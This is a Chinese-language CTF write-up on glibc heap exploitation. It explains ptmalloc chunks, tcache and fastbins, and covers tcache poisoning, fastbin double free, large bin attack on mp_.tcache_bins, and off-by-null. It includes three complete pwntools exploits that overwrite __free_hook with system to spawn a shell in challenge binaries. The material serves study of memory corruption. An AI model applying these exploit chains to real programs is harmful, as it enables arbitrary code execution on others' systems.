(っ●ω●)っ
对堆的简单认识 堆管理器:ptmalloc2 - glibc 内存分配区:arena,收发内存的地方 内存的单位:chunk
malloc 一个 chunk 的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; INTERNAL_SIIZE_T mchunk_size; struct malloc_chunk * fd ; struct malloc_chunk * bk ; struct malloc_chunk * fd_nextsize ; struct malloc_chunk * bk_nextsize ;}
由于64位 chunk 内存对齐 0x10 ,32位内存对齐 0x08 所以 size 位低三位始终为0,记录:NON_ MIAN_ ARENA
,当前 chunk 是否不属于主线程,1表示不属于,0表示属于。IS_MAPPED
,当前 chunk 是否是由 mmap 分配的。PREV_INUSE
,前一个 chunk 块是否被分配,1表示分配,0表示未分配。
释放后的 chunk : binunsorted bin
:
fast bins
:
0x20-0x80
后进先出 LIFO;单向链表(fd)
small bins
:
large bins
:
(tcache)glibc-2.27
:
0x20-0x410
进入tcache bin的 chunk 的 fd 指的是下一个 chunk 的头指针,而其他的 bin 会指向 chunk_addr,即 prev_size 的地方
tcache bin里的chunk不会发生合并(不取消inuse bit)
后进先出 LIFO;单向链表(fd)
对于具体的chunk的申请释放我主要参考了,不再赘叙:
week2堆题分析 给的漏洞都是比较明显好利用的,静态分析的部分基本上都略过了。
Elden Ring II UAF,没有对使用过的指针置0。
tcache_poisoning tcache_put:
1 2 3 4 5 6 7 8 9 10 11 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
tcache_get:
1 2 3 4 5 6 7 8 9 10 11 12 static __always_inline void *tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0 ); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; }
可以看到tcache在放入和取出的时候都几乎没有校验,只要有空位置就可以放,存在可以取的chunk就可以取。
所以 tcache_poisoning 发生在tcache_get
时不作任何校验把一块别的地方当作重新利用的chunk,实现任意地址写。 实现 tcache_poisoning 则是需要把bin中的一个fd指向希望伪造的其他地方。在这个题里是UAF
调试时还可以看到改完fd后tcache bin里的count还是旧的,但依然没有问题。充分说明了放入和取出的优先级高于了很多检查。在2.30之后把 tcache_entry
的结构改了之后就没这么好利用了,所幸改个count
或者凑个count
也不算太难。
下面是我的 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *context.log_level = "debug" p = process("./vuln" ) elf = ELF("./vuln" ) libc = ELF("./libc.so.6" ) def add (index,size ): p.sendlineafter(b">" ,b"1" ) p.sendlineafter(b"Index: " ,str (index).encode()) p.sendlineafter(b"Size: " ,str (size).encode()) def delete (index ): p.sendlineafter(b">" ,b"2" ) p.sendlineafter(b"Index: " ,str (index).encode()) def edit (index,content ): p.sendlineafter(b">" ,b"3" ) p.sendlineafter(b"Index: " ,str (index).encode()) p.sendlineafter(b"Content: " ,content) def show (index ): p.sendlineafter(b">" ,b"4" ) p.sendlineafter(b"Index: " ,str (index).encode()) for i in range (8 ): add(i,0x90 ) add(8 ,0x20 ) for i in range (8 ): delete(i) show(7 ) libc_base=u64(p.recv(6 ).ljust(0x08 ,b"\x00" ))-0x1ecbe0 success("libc_base = " + hex (libc_base)) free_hook = libc_base + libc.sym["__free_hook" ] system_addr = libc_base + libc.sym.system add(9 ,0x60 ) add(10 ,0x60 ) add(11 ,0x20 ) delete(9 ) delete(10 ) edit(10 ,p64(free_hook)) add(12 ,0x60 ) add(13 ,0x60 ) edit(13 ,p64(system_addr)) add(14 ,0x20 ) edit(14 ,b"/bin/sh\x00" ) delete(14 ) p.interactive()
对了这个题不允许使用用过的 index,哪怕free
过,所以要数一下谁是谁。
fastnote UAF,but null
fastbin double free free
后指针清零,不代表我们不能控制这个指针了。 fastbin double free 就是混淆对这个指针的控制,导致一边在正常获取堆块写数据的操作在 fastbin 里也有响应,伪造一个 chunk。依旧是实现任意地址写。
1 2 3 4 5 6 7 if (__builtin_expect (old == p, 0 )) { errstr = "double free or corruption (fasttop)" ; goto errout; }
fastbin 的源码里考虑了double free,但是只检查链表的后一个,且 fastbin 的堆块被释放后next_chunk 的 pre_inuse 位不会被清0。(应该是 fastbin 不会合并的机制?) 所以只要在free
的中间加一个无关的 chunk,就能做到 fastbin double free 。
和上一题太像了,exp也没啥好贴的。
old_fastnote UAF,but null && libc-2.23
SIZE位检查绕过 继续看到2.23 从 fastbin 里 malloc 时候的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if ((unsigned long ) (nb) <= (unsigned long ) (get_max_fast ())) { ... ... if (victim != 0 ) { if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0 )) { errstr = "malloc(): memory corruption (fast)" ; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL ; } check_remalloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
所以我们想要实现的任意地址写继续使用__free_hook
就不行了,__free_hook
上面都是0,__free_hook
之后的地址也没啥好考虑的,因为即使符合条件也没办法覆写__free_hook
了。
而__malloc_hook
上面有一段不为空的地方可以利用,一般__malloc_hook-0x23能得到一个0x7f,满足0x20-0x80的要求。 所以这个题还是double free混淆一次fd,然后取的时候因为要检查size所以用__malloc_hook改写这样就可以塞进去一个能取出来的地址了。
注意:fastbin的fd记录的是chunk_addr,然而实际数据是从chunk_addr+0x10的地方开始写的,所以取出__malloc_hook-0x23
的时候写入数据是从__malloc_hook-0x13
的地方开始的。
week3堆题分析 week3全是堆题((,所以就是week3分析。
Elden Ring III UAF,largebin_attack,只允许申请大堆块。
tcache mp_ 感觉还是得先从tcache结构讲起我才能舒服。
首先我们知道 tcachebin 能够放64个 bin 的链表,从0x20+0x10*63=0x410 所以0x20-0x410的堆块free
后会先来这里,否则是 unsortedbin 。
tcache_perthread_struct
是用来管理 tcache 链表的,这个结构体位于 heap 段的起始位置, size 大小为0x250( glibc2.30以前 )。
1 2 3 4 5 6 7 typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; # define TCACHE_MAX_BINS 64
第一次 malloc 时,会先 malloc 一块内存用来存放 tcache_perthread_struct
也就是调试的时候经常能够看到的第一个大堆块。(具体过程和源码实现可以看看wiki) 这个0x250也就是tcache_perthread_struct
的大小0x10
的头+0x01*0x40
的counts
+0x08*0x40
的entries
在之后的版本这个 chunk 的大小为 0x290=0x250+0x40。多出来的0x40就是因为定义的时候更改了counts
的类型。
1 2 3 4 5 6 7 typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; # define TCACHE_MAX_BINS 64
而tcache_entry
记录的就是bin的单向链表(具体的实现还是要看源码但我觉得这个还是好理解的)
也就是说之前利用时比较熟悉的fd
如果是被 tcachebin 记录的话实际上位置是了如指掌的,就在 heap 的开头但是摸不到。
终于讲到漏洞发生了。 有 tcache 的版本free
的时候优先考虑 tcache,看到要进入tcache_put
的条件是对比 mp_.tcache_bins
作检查而非宏定义,这就给了我们操作空间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static void _int_free (mstate av, mchunkptr p, int have_lock) { ...... ...... #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return ; } } #endif ...... ......
tcache_put
的内容之前看过,几乎没有检查的检查。里面有关TCACHE_MAX_BINS
的 assert 也在glibc2.30后删去了,就以本题2.33的版本而言,下面的利用思路是可行的。
现在我们希望摸一下 tcache bin 就变成一件可能的事,把mp_.tcache_bins
变大,那么就能够让超过0x400的 chunk 来到 tcache bin 而不是 unsorted bin 。 根据刚刚看到的结构,这个不该挤进来的 chunk 的entry
还会被挤到后面的 chunk 的内存里。
这个后面的 chunk 要是可编辑,那就终于可以实现我们想要的任意地址写了。不过还是得看看这个改完的地址能不能取。
1 2 3 4 5 6 7 8 9 if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL ) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT;
还是和mp_.tcache_bins
作比较,所以改完mp_.tcache_bins
后的任意地址写没有什么阻碍和之前一样操作就ok。tcache_get
的检查前面讨论过也一样是很宽松。
最后,说了这么多,mp_.tcache_bins
怎么改?(那当然是任意地址写)
mp_.tcache_bins mp_
从何而来?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # define TCACHE_FILL_COUNT 7 # define TCACHE_MAX_BINS 0x40 # define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ) static struct malloc_par mp_ ={ ... ... #if USE_TCACHE , .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1 ), .tcache_unsorted_limit = 0 #endif };
这样找到mp_
地址就可以算它在内存里的固定偏移了。
mp_.tcache_bins
的位置在 &mp_+0x50
large bin attack 任意地址但是不能随便写。 写在某个内存地址上一个 chunk 的地址,也可以看成一个大数。 个人理解最主要的漏洞点一个在于没有对于链表的完全性检查,另一个在于源码中类似这种危险的操作
1 2 3 4 victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
CTF-wiki 浅析 largebin attack
或者看看我写的
最后, 我的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *context.log_level="debug" p=process("./vuln" ) elf=ELF("./vuln" ) libc = ELF("./2.32-0ubuntu3.2_amd64/libc.so.6" ) def add (index,size ): p.sendlineafter(b">" ,b"1" ) p.sendlineafter(b"Index:" ,str (index).encode()) p.sendlineafter(b"Size:" ,str (size).encode()) def delete (index ): p.sendlineafter(b">" ,b"2" ) p.sendlineafter(b"Index" ,str (index).encode()) def edit (index,content ): p.sendlineafter(b">" ,b"3" ) p.sendlineafter(b"Index:" ,str (index).encode()) p.sendafter(b"Content:" ,content) def show (index ): p.sendlineafter(b">" ,b"4" ) p.sendlineafter(b"Index: " ,str (index).encode()) add(0 ,0x520 ) add(1 ,0x600 ) add(2 ,0x510 ) add(3 ,0x600 ) delete(0 ) edit(0 ,b"a" ) show(0 ) libc_base = u64(p.recv(6 ).ljust(0x08 ,b"\x00" ))-0x1e3c61 success("libc_base=" +hex (libc_base)) mp_offset= 0x1e3280 mp_ = libc_base + mp_offset __free_hook = libc_base+libc.sym.__free_hook __malloc_hook = libc_base+libc.sym.__malloc_hook system = libc_base+libc.sym.system edit(0 ,b"\x00" ) add(15 ,0x900 ) payload = p64(__malloc_hook+0x10 +1168 ) payload += p64(__malloc_hook+0x10 +1168 ) payload += p64(0 ) payload += p64(mp_+0x30 ) edit(0 ,payload) delete(2 ) add(14 ,0x900 ) delete(1 ) edit(0 ,b"a" *0xe8 +p64(__free_hook)) add(1 ,0x600 ) edit(1 ,p64(system)) add(2 ,0x600 ) edit(2 ,b"/bin/sh\x00" ) delete(2 ) p.interactive()
ㅍ_ㅍ做这道题原理看了蛮久才理解,然后调试的时候nt了一下搞得我一直以为自己理解错了。。。自己给自己找麻烦(叹气
off-by-null 。
PRVE_SIZE
位共用1 2 3 4 5 6 #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \ ? MINSIZE \ : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
虽然0x0我想表达的是16进制下最后一位都是0,就是二进制下0000,但是0的表达是有些抽象下面还是老实的用(~0xf)
以64位为例 其实可以看作(请求大小+0x10)+0x07 & (~0xf) 当请求大小的最后一位(16进制)小于 8 时,没有进位 (请求大小+0x10)+0x07 & (~0xf) = (请求大小 & (~0xf) + 0x10) 否则 (请求大小+0x10)+ 0x07 & (~0xf) = (请求大小+0x20)- 0x09 & (~0xf) =(请求大小 & (~0xf) + 0x20)
也就是说,如果你申请0x18的 chunk,malloc给你分配的将会是 0x20 的大小,去掉 0x10 的头,只剩下 0x10 的堆空间。 而剩下的0x08其实是和下一个chunk的PRVE_SIZE
位共用的。 这里的逻辑大概是PRVE_SIZE
仅在前一个 chunk free的状态下使用,但现在我正在往这个 chunk 里写东西,即非 free 状态,那么就可以覆盖。
还是有点意思的节省空间的方式。给了我们改写PRVE_SIZE
的机会。
off by null 溢出了一个空字节,常见利用是,配合 malloc 的 0x10 对齐和双向链表里的unlink
整理机制,改变PRVE_SIZE
以及PREV_INUSE
置0,把一个没有free
过的 chunk 包进bin里面。
首先,原来指向这个 chunk 的指针还可以被我们操作,其次,它在 bin 里就可以通过 malloc 再要到一个指针。 可以做到两个指针指向同一个堆块,那么就可以double free(绕过题目对index的检查)。
我的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *context.log_level = "debug" context.arch ='amd64' p = process("./vuln" ) elf = ELF("./vuln" ) libc = ELF("./libc-2.27.so" ) def add (index, size, content ): p.sendlineafter(b"Your choice:" , b'1' ) p.sendlineafter(b"Index: " , str (index).encode()) p.sendlineafter(b"Size: " , str (size).encode()) p.sendafter(b"Content: " , content) def delete (index ): p.sendlineafter(b"Your choice:" , b'3' ) p.sendlineafter(b"Index: " , str (index).encode()) def show (index ): p.sendlineafter(b"Your choice:" , b'2' ) p.sendlineafter(b"Index: " , str (index).encode()) add(0 ,0xf8 ,b'a' ) add(1 ,0x68 ,b'a' ) add(2 ,0xf8 ,b'a' ) for i in range (3 ,10 ): add(i,0xf8 ,b'a' ) for i in range (3 ,10 ): delete(i) delete(0 ) delete(1 ) add(1 ,0x68 ,b'a' *0x60 +p64(0x100 +0x70 )) delete(2 ) add(0 ,0x88 ,b'a' ) add(2 ,0x68 ,b'a' ) show(1 ) libc_base=u64(p.recv(6 ).ljust(0x08 ,b"\x00" ))-0x3ebca0 success("libc_base=" +hex (libc_base)) __free_hook=libc_base+libc.sym.__free_hook system=libc_base+libc.sym.system for i in range (3 ,12 ): add(i,0x68 ,b'a' ) for i in range (4 ,11 ): delete(i) delete(1 ) delete(11 ) delete(3 ) for i in range (4 ,11 ): add(i,0x68 ,b'a' ) add(3 ,0x68 ,p64(__free_hook)) add(12 ,0x68 ,b'a' ) add(1 ,0x68 ,b"/bin/sh\x00" ) add(11 ,0x68 ,p64(system)) delete(1 ) p.interactive()
堆的任意地址写 钩子函数: __free_hook: 把__free_hook
的指向写入system
,再释放一个内容为 “/bin/sh\x00” 的 chunk,就把 “/bin/sh\x00” 传给了system
__malloc_hook: malloc 接收的是 size 的时候就已经调用了,所以system
还需要传参的方式不太适用。可以使用one—gadget。 one gadget 是有条件的,所以可以借助realloc
调整栈帧
__realloc_hook: 距离__malloc_hook
很近,很近的意思是就在 &__malloc_hook-0x08 的地方
one-gadget: one_gadget -f 路径
something interesting check_remalloced_chunk(A, P, N) 在有关 fast bin 的源码里有这么一个函数:check_remalloced_chunk(A,P,N)
可能是看到 check 于是DNA动了一下就扒了下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # define check_remalloced_chunk(A, P, N) do_check_remalloced_chunk (A, P, N) static void do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s) { INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA); if (!chunk_is_mmapped (p)) { assert (av == arena_for_chunk (p)); if (chunk_non_main_arena (p)) assert (av != &main_arena); else assert (av == &main_arena); } do_check_inuse_chunk (av, p); assert ((sz & MALLOC_ALIGN_MASK) == 0 ); assert ((unsigned long ) (sz) >= MINSIZE); assert (aligned_OK (chunk2mem (p))); assert ((long ) (sz) - (long ) (s) >= 0 ); assert ((long ) (sz) - (long ) (s + MINSIZE) < 0 ); }
总之该函数主要用来检测 chunk 的 NON_MAIN_ARENA、IS_MAPPED、PREV_INUSE 位。该函数中的 if 会判断 chunk 是否为 mmap 申请,还有是否为 main_arena 管理等。 在 fast bin 中:主要用来检测你要 malloc 的这个 chunk 的 PREV_INUSE 为是否为1。 最严格的是,他会检查p指针是否对齐 (在64位里是0x10),按照这样的 check, __malloc_hook-0x23肯定过不了校验。然而实际上这样能通。
于是深入研究一下,发现源码实际上是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #if !MALLOC_DEBUG # define check_chunk(A, P) # define check_free_chunk(A, P) # define check_inuse_chunk(A, P) # define check_remalloced_chunk(A, P, N) # define check_malloced_chunk(A, P, N) # define check_malloc_state(A) #else # define check_chunk(A, P) do_check_chunk (A, P) # define check_free_chunk(A, P) do_check_free_chunk (A, P) # define check_inuse_chunk(A, P) do_check_inuse_chunk (A, P) # define check_remalloced_chunk(A, P, N) do_check_remalloced_chunk (A, P, N) # define check_malloced_chunk(A, P, N) do_check_malloced_chunk (A, P, N) # define check_malloc_state(A) do_check_malloc_state (A)
真正有函数内容的do_check_malloced_chunk (A, P, N)
作为宏定义写在#else
之后,而#if
后面只是仅仅声明了这些函数。
#if
是什么意思呢(*´・д・)?它是C语言中的 _条件编译语法_。
条件编译区域以 #if、#ifdef 或 #ifndef 等命令作为开头,以 #endif 命令结尾。条件编译区域可以有任意数量的 #elif 命令,但最多一个 #else 命令。 预处理器会依次计算条件表达式,直到发现结果非 0(也就是 true)的条件表达式。预处理器会保留对应组内的源代码,以供后续处理。如果找不到值为 true 的表达式,并且该条件式编译区域中包含 #else 命令,则保留 #else 命令组内的代码。
double free? 看到一个很奇怪的东西:https://xz.aliyun.com/t/13758?time__1311=mqmxnQKCuD9DBDBqDTeew4TDcjIK%2Bqx&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-25 在这位师傅的old_fastbin的exp触发malloc的方式是对同一个chunk free两次,触发double free报错。 很有意思,记录一下。
(*´∀`)~♥ 感谢师傅晚上陪我一起看源码喵。尤其check_remalloced_chunk(A, P, N)
的部分确实是帮大忙,看源码对我这种编程语言母语是python的人还是有点费劲的。
heap初探,over!